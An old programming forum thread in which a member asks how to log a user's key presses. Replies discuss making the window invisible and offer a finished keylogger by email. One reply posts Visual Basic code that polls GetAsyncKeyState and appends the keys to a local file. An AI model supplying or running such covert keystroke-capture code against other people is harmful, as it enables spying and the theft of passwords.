Results 1 to 4 of 4

Thread: So you think your good YEAH RIGHT!! ANSWER THIS THEN!!

  1. #1

    Thread Starter
    Member
    Join Date
    Feb 2000
    Posts
    55
    How do you make a program that loggs the key presses made by the user for a periond of time!!!!!!

  2. #2
    Do you want the form to be invisible??

  3. #3
    Frenzied Member
    Join Date
    Jun 2000
    Location
    England, Buckingham
    Posts
    1,341
    I have one of these that saves the keypresses in a log file and it can be visible or invisible, lets have your email address and i'll mail it to you.

  4. #4
    Guest

    Lightbulb Use GetAsyncKeyState

    Try this example using the GetAsyncKeyState. Make a Form with a Timer and put the following code into it.

    Code:
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    
    Private Sub Form_Load()
    
        'Set the Timer settings
        Timer1.Enabled = True
        Timer1.Interval = 100
        
    End Sub
    
    Private Sub Timer1_Timer()
    
        'Loop though some of the mnay used Keys
        For I = 13 To 122
            If GetAsyncKeyState(I) Then MyKey = Chr(I)
        Next I
        
        'If it's not a NullString then Append it to a file
        If MyKey <> vbNullString Then
            Open "C:\MyLog.txt" For Append As #1
            Print #1, MyKey
            Close #1
        End If
    
    End Sub

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width